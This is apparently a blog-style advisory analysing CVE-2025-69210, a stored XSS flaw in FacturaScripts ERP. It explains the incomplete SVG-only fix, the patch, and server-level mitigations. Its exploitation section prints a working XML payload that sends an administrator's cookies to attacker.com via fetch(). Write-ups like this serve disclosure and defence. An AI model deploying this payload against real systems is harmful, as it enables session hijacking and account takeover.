FacturaScripts blocked SVGs to prevent XSS but forgot about XML and HTML. Attackers can upload these file types containing malicious scripts. When an admin views the file, the script executes, leading to potential account takeover. Fixed in version 2025.7.
A stored Cross-Site Scripting (XSS) vulnerability in the FacturaScripts ERP system allows authenticated attackers to hijack administrator sessions by uploading malicious XML or HTML files.
Enterprise Resource Planning (ERP) systems are the crown jewels of corporate infrastructure. They hold the money, the customer data, and the secrets. FacturaScripts is a popular open-source contender in this space, particularly in Spanish-speaking regions. Ideally, an accounting system should be boring, predictable, and secure. But CVE-2025-69210 proves that even the most mundane software can harbor exciting opportunities for chaos.
This isn't your typical complex memory corruption or a ROP chain masterpiece. This is a classic logic failure in handling user input—specifically, file uploads. The developers realized that allowing users to upload arbitrary files was risky, so they put guards in place. They specifically looked at SVG files, known vectors for Cross-Site Scripting (XSS), and forced them to download rather than render.
But here's the punchline: they stopped there. They locked the front door (SVG) but left the garage, the back door, and the windows (XML, HTML, XHTML) wide open. If you can get an administrator to look at your "receipt," you can own their session.
The root cause of CVE-2025-69210 is a textbook case of allow-listing vs. block-listing, combined with a misunderstanding of how browsers handle content types. The application allows users to attach files to products or invoices—a necessary feature for an ERP.
When a user requests to view a file, the server decides how to serve it. If the server sends a Content-Disposition: attachment header, the browser downloads the file. If that header is missing (and the Content-Type allows it), the browser tries to render it. The developers knew that rendering SVGs inline is dangerous because SVGs can contain <script> tags. So, they implemented a check: isSvg().
[!NOTE] Browser Behavior: Modern browsers are aggressive about rendering content. If you serve an XML file with
Content-Type: text/xmlorapplication/xmlwithout forcing a download, the browser parses the XML tree. If that tree contains an XHTML namespace with a script tag, it executes. FacturaScripts failed to account for this nuance.
By focusing exclusively on SVGs, the developers created a blind spot. They implicitly trusted other file extensions like .xml, .html, and .xhtml to be safe for inline viewing, or perhaps simply forgot them. This oversight allows an attacker to upload a file that looks like data but acts like code.
The vulnerability lived in Core/Controller/Myfiles.php. Let's look at the fix introduced in commit e908ade21c84bdc9d51190057482316730c66146. It perfectly illustrates the shift from a specific patch to a broader policy enforcement.
The Vulnerable Code:
// BEFORE: Tunnel vision on SVG
if ($this->isSvg($this->filePath)) {
header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
}In the vulnerable version, the code explicitly asks "Is this an SVG?" If the answer was "No" (e.g., it's an XML file), the code proceeded to serve the file inline, likely with a content-type derived from the extension or file content.
The Fix:
// AFTER: A comprehensive check for dangerous types
if ($this->shouldForceDownload($this->filePath)) {
header('Content-Disposition: attachment; filename="' . basename($this->filePath) . '"');
}The patch introduces shouldForceDownload(), a helper function that casts a much wider net. It checks against a blacklist of extensions (svg, xml, xsig, html, htm, xhtml) AND a blacklist of MIME types (text/html, text/xml, application/xml, etc.). This dual-check prevents attackers from bypassing the filter by renaming payload.xml to payload.txt if the server is performing MIME sniffing.
Exploiting this requires an authenticated user account with permissions to upload files (e.g., a standard employee or inventory manager). The goal is to elevate privileges by trapping an administrator.
Step 1: Craft the Payload We don't need a complex binary payload. A simple XML file invoking the XHTML namespace is sufficient to trigger JavaScript execution in the browser.
<?xml version="1.0" encoding="UTF-8"?>
<root>
<script xmlns="http://www.w3.org/1999/xhtml">
// Send the admin's cookies to our C2 server
fetch('https://attacker.com/collect?cookie=' + btoa(document.cookie));
</script>
</root>Step 2: Delivery
The attacker logs into FacturaScripts and navigates to a product or invoice upload section. They upload innocent_invoice.xml containing the payload above.
Step 3: Execution
The attacker plays the waiting game. Eventually, an administrator reviews the product files. They see the XML file and click to view it, expecting a data structure. Instead, the browser renders the XML, processes the <script> block, and silently exfiltrates the session ID to the attacker.
The provided CVSS 4.0 score for this vulnerability is a perplexing 1.2 (Low). This likely reflects the requirement for authentication and perhaps a specific interpretation of "User Interaction" in the new standard. However, do not let the score fool you. In the real world, this is a dangerous flaw.
If an attacker compromises a low-level account (which often have weak passwords), they can use this Stored XSS to pivot to an Administrator account. Once they have Admin access to an ERP, they can:
The impact on confidentiality and integrity is total within the scope of the application. The low CVSS score is a bureaucratic technicality; the operational risk is High.
The immediate fix is to upgrade to FacturaScripts 2025.7 or later. The patch effectively neutralizes the attack by forcing the browser to download these dangerous file types rather than rendering them.
If you cannot patch immediately, you can implement mitigation at the web server level (Nginx/Apache):
script-src 'self'). This will block the XSS payload even if the file is rendered.Content-Disposition: attachment for .xml, .html, and .xhtml files served from the upload directory.nosniff header is active to prevent the browser from guessing that a .txt file is actually executable HTML.CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
FacturaScripts FacturaScripts | < 2025.7 | 2025.7 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Stored XSS) |
| CVSS Score | 1.2 (CVSS 4.0) |
| EPSS Score | 0.06% |
| Exploit Status | PoC Available |
| Patch Commit | e908ade21c84bdc9d51190057482316730c66146 |
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Get the latest CVE analysis reports delivered to your inbox.